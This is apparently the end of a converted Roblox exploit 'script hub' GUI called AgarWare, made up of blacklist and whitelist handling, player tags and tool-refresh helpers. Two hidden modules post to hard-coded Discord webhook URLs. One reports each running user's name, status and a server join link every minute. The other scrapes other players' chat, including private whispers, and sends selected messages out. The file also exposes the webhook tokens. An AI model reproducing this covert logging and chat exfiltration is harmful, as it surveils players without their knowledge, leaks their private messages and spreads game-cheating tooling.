local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local MarketplaceService = game:GetService("MarketplaceService")
local LoadedMainFrame = script.Parent
local LoadedFrame = LoadedMainFrame:WaitForChild("LoadedFrame")
local GameNameLoaded = LoadedFrame:WaitForChild("GameNameLoaded")
local AgarWareLoaded = LoadedFrame:WaitForChild("AGARWARELOADED")
--------------------------------------------------
-- BLACKLIST
--------------------------------------------------
local BLACKLISTED_USERS = {
1751294438, -- Serverholder_Avenaxl
1535622508, -- Buildermann
3590692150, -- DeLight
1704747, -- snips
3234700453, -- Box_boy56433
10385488328, -- Ihateroblox_oq
5695584804, -- strongestegg83973
-- Add more user IDs here
}
local function isBlacklisted(userId)
for _, id in ipairs(BLACKLISTED_USERS) do
if id == userId then
return true
end
end
return false
end
--------------------------------------------------
-- CENTER FRAME
--------------------------------------------------
LoadedMainFrame.AnchorPoint = Vector2.new(0.5, 0.5)
LoadedMainFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
LoadedMainFrame.Visible = true
--------------------------------------------------
-- CHECK IF USER IS BLACKLISTED
--------------------------------------------------
local localPlayer = Players.LocalPlayer
if isBlacklisted(localPlayer.UserId) then
-- User is blacklisted
AgarWareLoaded.Text = "USER BLACKLISTED"
GameNameLoaded.Text = "You have been blacklisted from using this script."
GameNameLoaded.TextScaled = true
-- Destroy MainFrame and KeybindFrame
local AgarWareGui = LoadedMainFrame.Parent
if AgarWareGui then
local MainFrame = AgarWareGui:FindFirstChild("MainFrame")
local KeybindFrame = AgarWareGui:FindFirstChild("KeybindFrame")
local LoadingScripts = AgarWareGui:FindFirstChild("LoadingScripts")
if MainFrame then
MainFrame:Destroy()
end
if KeybindFrame then
KeybindFrame:Destroy()
end
if LoadingScripts then
LoadingScripts:Destroy()
end
end
-- Stay visible permanently (don't fade away)
return
end
--------------------------------------------------
-- GET GAME NAME (Only if not blacklisted)
--------------------------------------------------
local function getGameName()
local ok, info = pcall(function()
return MarketplaceService:GetProductInfo(game.PlaceId)
end)
if ok and info and info.Name then
return info.Name
end
return "Cannot find game name"
end
GameNameLoaded.Text = getGameName()
--------------------------------------------------
-- FADE AWAY AFTER 3 SECONDS
--------------------------------------------------
task.wait(1)
local tween = TweenService:Create(LoadedFrame, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
BackgroundTransparency = 1
})
-- Fade all text labels too
local labels = LoadedFrame:GetDescendants()
local labelTweens = {}
for _, obj in ipairs(labels) do
if obj:IsA("TextLabel") then
local t = TweenService:Create(obj, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
TextTransparency = 1,
TextStrokeTransparency = 1
})
table.insert(labelTweens, t)
t:Play()
end
end
tween:Play()
tween.Completed:Wait()
LoadedMainFrame.Visible = false
end;
task.spawn(C_361);
-- StarterGui.AgarWareGui.WebhookLogging.OnlineUsers
local function C_366()
local script = G2L["366"];
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local LocalPlayer = Players.LocalPlayer
local MarketplaceService = game:GetService("MarketplaceService")
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495643916723163287/Dyzh0xCRJGD7xmE7mnsKRTot_rfhN-61VppNMHvFpVtzyA147EcQjqK3ALZlOD_9wBgO"
-- Calculate offset based on UserId (between 1 and 6 seconds)
local function getUserOffset()
local offset = (LocalPlayer.UserId % 6) + 1
return offset
end
local USER_OFFSET = getUserOffset()
local lastSendMinute = -1
local TCO_PLACE_IDS = {
11137575513,
12943245078,
12943247001,
108097274488844,
}
local function isTCO()
for _, id in ipairs(TCO_PLACE_IDS) do
if game.PlaceId == id then return true end
end
return false
end
local function getAdmins()
local admins = {}
local chosenTeam = Teams:FindFirstChild("Chosen")
if chosenTeam then
for _, player in pairs(Players:GetPlayers()) do
if player.Team == chosenTeam then
table.insert(admins, player)
end
end
end
return admins
end
local function getAdminFooter()
local admins = getAdmins()
if #admins == 0 then
return "Admin: None"
end
local adminTexts = {}
for i, admin in ipairs(admins) do
table.insert(adminTexts, admin.DisplayName .. " (@" .. admin.Name .. ")")
end
return "Admin: " .. table.concat(adminTexts, ", ")
end
local function getMyTime()
local ls = LocalPlayer:FindFirstChild("leaderstats")
local t = ls and ls:FindFirstChild("Time")
return t and t.Value or nil
end
local function getPlayerStatus()
local chosenTeam = Teams:FindFirstChild("Chosen")
local backpack = LocalPlayer:FindFirstChild("Backpack")
local char = workspace:FindFirstChild(LocalPlayer.Name)
local hasArken = (backpack and backpack:FindFirstChild("The Arkenstone"))
or (char and char:FindFirstChild("The Arkenstone"))
if chosenTeam and LocalPlayer.Team == chosenTeam then
return "Admin"
elseif hasArken then
return "Enlightened"
else
return "Neutral"
end
end
local function getPlaceLabel()
local placeId = game.PlaceId
if placeId == 11137575513 then
return "Main"
elseif placeId == 12943245078 then
return "XL"
elseif placeId == 12943247001 then
return "VC"
elseif placeId == 108097274488844 then
return "OG"
else
return nil
end
end
local function getGameName()
local success, info = pcall(function()
return MarketplaceService:GetProductInfo(game.PlaceId)
end)
if success and info then
return info.Name
else
return "Unknown Game"
end
end
local function getJoinLink()
return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId
end
local function getFormattedTime()
local now = DateTime.now():ToLocalTime()
local hour = now.Hour
local minute = now.Minute
local ampm = "AM"
if hour >= 12 then
ampm = "PM"
if hour > 12 then
hour = hour - 12
end
end
if hour == 0 then
hour = 12
end
return string.format("%d:%02d %s", hour, minute, ampm)
end
local function getWebhookName()
local now = DateTime.now():ToLocalTime()
local minute = now.Minute
return string.format("XX:%02d", minute)
end
local function sendStatusPing()
local playerCount = #Players:GetPlayers()
local maxPlayers = Players.MaxPlayers
local placeLabel = getPlaceLabel()
local webhookName = getWebhookName()
local title, description
if isTCO() then
-- TCO game format
local playerStatus = getPlayerStatus()
local myTime = getMyTime()
local timeDisplay = myTime and tostring(math.floor(myTime)) or "TIME"
title = string.format("%s / `%s` | %s | %s", LocalPlayer.DisplayName, LocalPlayer.Name, playerStatus, timeDisplay)
description = string.format("[%d/%d %s](%s) | %s", playerCount, maxPlayers, placeLabel, getJoinLink(), getAdminFooter())
else
-- Non-TCO game format
local gameName = getGameName()
title = string.format("%s / `%s`", LocalPlayer.DisplayName, LocalPlayer.Name)
description = string.format("[%d/%d](%s) | %s", playerCount, maxPlayers, getJoinLink(), gameName)
end
local footerText = "AGAR WARE | Today at " .. getFormattedTime()
local embed = {
["title"] = title,
["description"] = description,
["color"] = 0x0016ff,
["footer"] = {
["text"] = footerText
}
}
local payload = {
["username"] = webhookName,
["embeds"] = {embed}
}
local requestFunc = request or http_request or (syn and syn.request) or (http and http.request)
pcall(function()
requestFunc({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(payload)
})
end)
end
-- Timer loop that sends every minute at specific seconds (1-6)
task.spawn(function()
while true do
local now = DateTime.now():ToLocalTime()
local currentMinute = now.Minute
local currentSecond = now.Second
if currentSecond == USER_OFFSET and currentMinute ~= lastSendMinute then
sendStatusPing()
lastSendMinute = currentMinute
end
task.wait(0.5)
end
end)
end;
task.spawn(C_366);
-- StarterGui.AgarWareGui.WebhookLogging.AgarChat
local function C_367()
local script = G2L["367"];
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local LocalPlayer = Players.LocalPlayer
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495773253107581068/i7Et7FfBoW_AprdmzFlJ-9UVBzW_c44scu5ZhxZBuC9kp392EFSOLdxqwDQn2Q0qbeYj"
task.wait(2)
local CoreGui = game:GetService("CoreGui")
local ExperienceChat = CoreGui:FindFirstChild("ExperienceChat")
if not ExperienceChat then return end
local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
local scrollingView = chatWindow:WaitForChild("scrollingView")
local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
local processedFrames = {}
local function getAdmins()
local admins = {}
local chosenTeam = Teams:FindFirstChild("Chosen")
if chosenTeam then
for _, player in pairs(Players:GetPlayers()) do
if player.Team == chosenTeam then
table.insert(admins, player)
end
end
end
return admins
end
local function getAdminFooter()
local admins = getAdmins()
if #admins == 0 then
return "Admin: None"
end
local adminTexts = {}
for i, admin in ipairs(admins) do
table.insert(adminTexts, admin.DisplayName .. " (@" .. admin.Name .. ")")
end
return "Admin: " .. table.concat(adminTexts, ", ")
end
local function getEmbedColor(buttonText)
if string.match(buttonText, "HIDDEN CHAT") then
return 0xff0000
end
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
return 0x000000
end
local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
if r and g and b then
r, g, b = tonumber(r), tonumber(g), tonumber(b)
return (r * 65536) + (g * 256) + b
end
return 0xffffff
end
local function getJoinLink()
local ok, link = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and link or ""
end
local function containsAgar(message)
-- Check if message contains "agar" (case insensitive)
return string.match(string.lower(message), "agar") ~= nil
end
local function sendWebhook(display, message, embedColor, buttonText, userId)
local prefix = ""
-- Extract [To Display] or [From Display] from buttonText
local toMatch = string.match(buttonText, "%[To .-%]")
local fromMatch = string.match(buttonText, "%[From .-%]")
if toMatch then
prefix = "*" .. toMatch .. "* "
elseif fromMatch then
prefix = "*" .. fromMatch .. "* "
end
local title = prefix .. "**" .. display .. "** " .. message
local embed = {
["title"] = title,
["color"] = embedColor,
["footer"] = {
["text"] = getAdminFooter()
},
["timestamp"] = DateTime.now():ToIsoDate(),
["description"] = "[Join Game](" .. getJoinLink() .. ")"
}
local payload = {
["username"] = tostring(userId),
["content"] = "<@1301477323090034731>",
["embeds"] = {embed}
}
local requestFunc = request or http_request or (syn and syn.request) or (http and http.request)
pcall(function()
requestFunc({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(payload)
})
end)
end
local function onFrameAdded(frame)
if processedFrames[frame] then return end
processedFrames[frame] = true
local frameName = frame.Name
local userId = string.match(frameName, "^(%d+)%-")
if not userId or userId == "0" then return end
task.wait(0.1)
local textMessage = frame:FindFirstChild("TextMessage")
if not textMessage then return end
local prefixText = textMessage:FindFirstChild("PrefixText")
local bodyText = textMessage:FindFirstChild("BodyText")
local textButton = textMessage:FindFirstChild("TextMessageButton")
if not prefixText or not bodyText or not textButton then return end
local textButtonButton = textButton:FindFirstChild("TextButton")
if not textButtonButton then return end
local display = prefixText.ContentText
display = string.gsub(display, "%[To .-%] ", "")
display = string.gsub(display, "%[From .-%] ", "")
local fullMessage = bodyText.ContentText
local buttonText = textButtonButton.Text
local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
local message = fullMessage
if isPrivate then
message = string.gsub(message, "%[To .-%] ", "")
message = string.gsub(message, "%[From .-%] ", "")
if string.sub(message, 1, #display) == display then
message = string.sub(message, #display + 1)
end
else
if string.sub(fullMessage, 1, #display) == display then
message = string.sub(fullMessage, #display + 1)
end
end
message = string.match(message, "^%s*(.-)%s*$")
-- Only send if message contains "agar"
if not containsAgar(message) then return end
local embedColor = getEmbedColor(buttonText)
sendWebhook(display, message, embedColor, buttonText, userId)
end
for _, child in pairs(RCTScrollContentView:GetChildren()) do
if child:IsA("Frame") then
processedFrames[child] = true
end
end
RCTScrollContentView.ChildAdded:Connect(function(child)
if child:IsA("Frame") then
onFrameAdded(child)
end
end)
end;
task.spawn(C_367);
-- StarterGui.AgarWareGui.MasterScripts.ResetCharacter
local function C_369()
local script = G2L["369"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
shared.ResetCharacter = function()
if LocalPlayer.Character then
LocalPlayer.Character:BreakJoints()
end
end
end;
task.spawn(C_369);
-- StarterGui.AgarWareGui.MasterScripts.RefreshBkitTools
local function C_36a()
local script = G2L["36a"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- ============================================================
-- TOOL REFRESH FUNCTIONS
-- Each tool can be refreshed individually by calling shared functions
-- Skips refresh if the tool is already equipped
-- ============================================================
-- Build Tool Refresh
shared.BuildToolRefresh = function()
local buildTool = LocalPlayer.Backpack:FindFirstChild("Build") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build"))
if not buildTool then
return false
end
-- Skip if already equipped
if buildTool.Parent == LocalPlayer.Character then
return false
end
-- Equip without unequipping other tools
if buildTool.Parent == LocalPlayer.Backpack then
buildTool.Parent = LocalPlayer.Character
end
-- Force unequip (spam until in backpack)
while buildTool.Parent == LocalPlayer.Character do
buildTool.Parent = LocalPlayer.Backpack
task.wait()
end
return true
end
-- Delete Tool Refresh
shared.DeleteToolRefresh = function()
local deleteTool = LocalPlayer.Backpack:FindFirstChild("Delete") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Delete"))
if not deleteTool then
return false
end
-- Skip if already equipped
if deleteTool.Parent == LocalPlayer.Character then
return false
end
-- Equip without unequipping other tools
if deleteTool.Parent == LocalPlayer.Backpack then
deleteTool.Parent = LocalPlayer.Character
end
-- Force unequip (spam until in backpack)
while deleteTool.Parent == LocalPlayer.Character do
deleteTool.Parent = LocalPlayer.Backpack
task.wait()
end
return true
end
-- Paint Tool Refresh
shared.PaintToolRefresh = function()
local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
if not paintTool then
return false
end
-- Skip if already equipped
if paintTool.Parent == LocalPlayer.Character then
return false
end
-- Equip without unequipping other tools
if paintTool.Parent == LocalPlayer.Backpack then
paintTool.Parent = LocalPlayer.Character
end
-- Force unequip (spam until in backpack)
while paintTool.Parent == LocalPlayer.Character do
paintTool.Parent = LocalPlayer.Backpack
task.wait()
end
return true
end
-- Shape Tool Refresh
shared.ShapeToolRefresh = function()
local shapeTool = LocalPlayer.Backpack:FindFirstChild("Shape") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape"))
if not shapeTool then
return false
end
-- Skip if already equipped
if shapeTool.Parent == LocalPlayer.Character then
return false
end
-- Equip without unequipping other tools
if shapeTool.Parent == LocalPlayer.Backpack then
shapeTool.Parent = LocalPlayer.Character
end
-- Force unequip (spam until in backpack)
while shapeTool.Parent == LocalPlayer.Character do
shapeTool.Parent = LocalPlayer.Backpack
task.wait()
end
return true
end
-- Shovel Tool Refresh
shared.ShovelToolRefresh = function()
local shovelTool = LocalPlayer.Backpack:FindFirstChild("Shovel") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shovel"))
if not shovelTool then
return false
end
-- Skip if already equipped
if shovelTool.Parent == LocalPlayer.Character then
return false
end
-- Equip without unequipping other tools
if shovelTool.Parent == LocalPlayer.Backpack then
shovelTool.Parent = LocalPlayer.Character
end
-- Force unequip (spam until in backpack)
while shovelTool.Parent == LocalPlayer.Character do
shovelTool.Parent = LocalPlayer.Backpack
task.wait()
end
return true
end
-- Sign Tool Refresh
shared.SignToolRefresh = function()
local signTool = LocalPlayer.Backpack:FindFirstChild("Sign") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Sign"))
if not signTool then
return false
end
-- Skip if already equipped
if signTool.Parent == LocalPlayer.Character then
return false
end
-- Equip without unequipping other tools
if signTool.Parent == LocalPlayer.Backpack then
signTool.Parent = LocalPlayer.Character
end
-- Force unequip (spam until in backpack)
while signTool.Parent == LocalPlayer.Character do
signTool.Parent = LocalPlayer.Backpack
task.wait()
end
return true
end
--[[
USAGE:
shared.BuildToolRefresh() -- Refreshes Build tool
shared.DeleteToolRefresh() -- Refreshes Delete tool
shared.PaintToolRefresh() -- Refreshes Paint tool
shared.ShapeToolRefresh() -- Refreshes Shape tool
shared.ShovelToolRefresh() -- Refreshes Shovel tool
shared.SignToolRefresh() -- Refreshes Sign tool
Each function:
- Returns false if tool already equipped (skips refresh)
- Returns false if tool not found
- Returns true if refresh successful
- Equips tool without unequipping others
- Force unequips until in backpack
]]
end;
task.spawn(C_36a);
-- StarterGui.AgarWareGui.MasterScripts.AGARVOWNERLABEL
local function C_36b()
local script = G2L["36b"];
local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")
local ownerBrightBlue = Color3.fromRGB(0, 123, 255)
local ownerDarkBlue = Color3.fromRGB(0, 83, 166)
local ownerStrokeColor = Color3.fromRGB(0, 53, 109)
local function addTag(player)
repeat task.wait() until _G.IsOwner
if not _G.IsOwner(player.UserId) then return end
local function applyToChar(char)
if not char then return end
local existing = char:FindFirstChild("AgarWareTag")
if existing then existing:Destroy() end
local hrp = char:WaitForChild("HumanoidRootPart", 10)
if not hrp then return end
local billboard = Instance.new("BillboardGui")
billboard.Name = "AgarWareTag"
billboard.Size = UDim2.new(0, 200, 0, 50)
billboard.StudsOffset = Vector3.new(0, 4, 0)
billboard.AlwaysOnTop = true
billboard.ResetOnSpawn = false
billboard.Parent = hrp
local label = Instance.new("TextLabel", billboard)
label.Size = UDim2.new(1, 0, 1, 0)
label.BackgroundTransparency = 1
label.Text = "AGAR WARE OWNER"
label.TextColor3 = ownerBrightBlue
label.Font = Enum.Font.Code
label.TextScaled = true
label.TextStrokeColor3 = ownerStrokeColor
label.TextStrokeTransparency = 0
local cam = workspace.CurrentCamera
local scaleConn
scaleConn = RunService.RenderStepped:Connect(function()
if not billboard.Parent then
scaleConn:Disconnect()
return
end
local dist = (cam.CFrame.Position - hrp.Position).Magnitude
local scale = ((34 / dist) * 0.7) + 0.2
billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale)
end)
local pulseRunning = true
task.spawn(function()
while pulseRunning and billboard.Parent do
local toDark = TweenService:Create(
label,
TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextColor3 = ownerDarkBlue}
)
toDark:Play()
toDark.Completed:Wait()
if not billboard.Parent then break end
local toBright = TweenService:Create(
label,
TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextColor3 = ownerBrightBlue}
)
toBright:Play()
toBright.Completed:Wait()
end
end)
billboard.Destroying:Connect(function()
pulseRunning = false
if scaleConn then
scaleConn:Disconnect()
end
end)
end
if player.Character then
applyToChar(player.Character)
end
player.CharacterAdded:Connect(applyToChar)
end
for _, player in ipairs(Players:GetPlayers()) do
addTag(player)
end
Players.PlayerAdded:Connect(addTag)
-- ==========================================
-- WHITELISTED TAG
-- ==========================================
local whiteBrightBlue = Color3.fromRGB(255, 255, 255)
local whiteDarkBlue = Color3.fromRGB(166, 166, 166)
local whiteStrokeColor = Color3.fromRGB(49, 49, 49)
local function addWhitelistedTag(player)
repeat task.wait() until _G.IsWhitelisted
if not _G.IsWhitelisted(player.UserId) then return end
-- Don't show tag to the whitelisted player themselves
local LocalPlayer = Players.LocalPlayer
if player == LocalPlayer then return end
local function applyToChar(character)
if not character then return end
local hrp = character:WaitForChild("HumanoidRootPart", 10)
if not hrp then return end
local existing = hrp:FindFirstChild("WhitelistedTag")
if existing then existing:Destroy() end
local billboard = Instance.new("BillboardGui")
billboard.Name = "WhitelistedTag"
billboard.Size = UDim2.new(0, 200, 0, 50)
billboard.StudsOffset = Vector3.new(0, 4, 0)
billboard.AlwaysOnTop = true
billboard.ResetOnSpawn = false
billboard.Parent = hrp
local label = Instance.new("TextLabel", billboard)
label.Size = UDim2.new(1, 0, 1, 0)
label.BackgroundTransparency = 1
label.Text = "COOL PEOPLE"
label.TextColor3 = whiteBrightBlue
label.Font = Enum.Font.Arcade
label.TextScaled = true
label.TextStrokeColor3 = whiteStrokeColor
label.TextStrokeTransparency = 0
local cam = workspace.CurrentCamera
local scaleConn
scaleConn = RunService.RenderStepped:Connect(function()
if not billboard.Parent then
scaleConn:Disconnect()
return
end
local dist = (cam.CFrame.Position - hrp.Position).Magnitude
local scale = ((26 / dist) * 0.5) + 0.2
billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale)
end)
local pulseRunning = true
task.spawn(function()
while pulseRunning and billboard.Parent do
local toDark = TweenService:Create(
label,
TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextColor3 = whiteDarkBlue}
)
toDark:Play()
toDark.Completed:Wait()
if not billboard.Parent then break end
local toBright = TweenService:Create(
label,
TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextColor3 = whiteBrightBlue}
)
toBright:Play()
toBright.Completed:Wait()
end
end)
billboard.Destroying:Connect(function()
pulseRunning = false
if scaleConn then
scaleConn:Disconnect()
end
end)
end
if player.Character then
applyToChar(player.Character)
end
player.CharacterAdded:Connect(applyToChar)
end
for _, player in ipairs(Players:GetPlayers()) do
addWhitelistedTag(player)
end
Players.PlayerAdded:Connect(addWhitelistedTag)
-- ==========================================
-- BLACKLISTED TAG
-- ==========================================
local blackBrightRed = Color3.fromRGB(255, 0, 0)
local blackDarkRed = Color3.fromRGB(150, 0, 0)
local blackStrokeColor = Color3.fromRGB(80, 0, 0)
local function addBlacklistedTag(player)
repeat task.wait() until _G.IsBlacklisted and _G.IsOwner and _G.IsWhitelisted
-- Only owners and whitelisted can see blacklist tags
local LocalPlayer = game:GetService("Players").LocalPlayer
if not _G.IsOwner(LocalPlayer.UserId) and not _G.IsWhitelisted(LocalPlayer.UserId) then return end
if not _G.IsBlacklisted(player.UserId) then return end
local function applyToChar(character)
if not character then return end
local torso = character:WaitForChild("UpperTorso", 10) or character:WaitForChild("Torso", 10)
if not torso then return end
local existing = torso:FindFirstChild("BlacklistedTag")
if existing then existing:Destroy() end
local billboard = Instance.new("BillboardGui")
billboard.Name = "BlacklistedTag"
billboard.Size = UDim2.new(0, 200, 0, 50)
billboard.StudsOffset = Vector3.new(0, 0, 0)
billboard.AlwaysOnTop = true
billboard.ResetOnSpawn = false
billboard.Parent = torso
local label = Instance.new("TextLabel", billboard)
label.Size = UDim2.new(1, 0, 1, 0)
label.BackgroundTransparency = 1
label.Text = "BLACKLISTED"
label.TextColor3 = blackBrightRed
label.Font = Enum.Font.Arcade
label.TextScaled = true
label.TextStrokeColor3 = blackStrokeColor
label.TextStrokeTransparency = 0
local cam = workspace.CurrentCamera
local scaleConn
scaleConn = game:GetService("RunService").RenderStepped:Connect(function()
if not billboard.Parent then
scaleConn:Disconnect()
return
end
local dist = (cam.CFrame.Position - torso.Position).Magnitude
local scale = ((26 / dist) * 0.5)
billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale)
end)
local pulseRunning = true
task.spawn(function()
while pulseRunning and billboard.Parent do
local toDark = game:GetService("TweenService"):Create(
label,
TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextColor3 = blackDarkRed}
)
toDark:Play()
toDark.Completed:Wait()
if not billboard.Parent then break end
local toBright = game:GetService("TweenService"):Create(
label,
TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),
{TextColor3 = blackBrightRed}
)
toBright:Play()
toBright.Completed:Wait()
end
end)
billboard.Destroying:Connect(function()
pulseRunning = false
if scaleConn then
scaleConn:Disconnect()
end
end)
end
if player.Character then
applyToChar(player.Character)
end
player.CharacterAdded:Connect(applyToChar)
end
for _, player in ipairs(game:GetService("Players"):GetPlayers()) do
addBlacklistedTag(player)
end
game:GetService("Players").PlayerAdded:Connect(addBlacklistedTag)
end;
task.spawn(C_36b);
-- StarterGui.AgarWareGui.MasterScripts.PLAYERLISTUSER
local function C_36c()
local script = G2L["36c"];
-- UserListMaster Script (put in Gui.MasterScripts)
_G.UserLists = {
Blacklisted = {
1535622508, -- Buildermann
3590692150, -- DeLight
1704747, -- snips
3234700453, -- Box_boy56433
10385488328, -- Ihateroblox_oq
5695584804, -- strongestegg83973
10923596100, -- serverbot_tco
},
Whitelisted = {
10754470202, -- raja 22
10642124279, -- raja 21
8008797519, -- phan main
10840760745, -- phan einstein
2735168711, -- slime 2
3492744393, -- slime
909205143, -- pop
7999975433, -- koi
10842814389, -- MONKEYARMPIT6
10946974452, -- korea
},
Owners = {
574381128, -- main
10587072700, -- ryansocoool
8308247571, -- bobby2 agarv_bbc
10837544781, -- agarv609
}
}
-- Helper functions
function _G.IsBlacklisted(userId)
for _, id in ipairs(_G.UserLists.Blacklisted) do
if userId == id then
return true
end
end
return false
end
function _G.IsWhitelisted(userId)
for _, id in ipairs(_G.UserLists.Whitelisted) do
if userId == id then
return true
end
end
return false
end
function _G.IsOwner(userId)
for _, id in ipairs(_G.UserLists.Owners) do
if userId == id then
return true
end
end
return false
end
end;
task.spawn(C_36c);
return G2L["1"], require;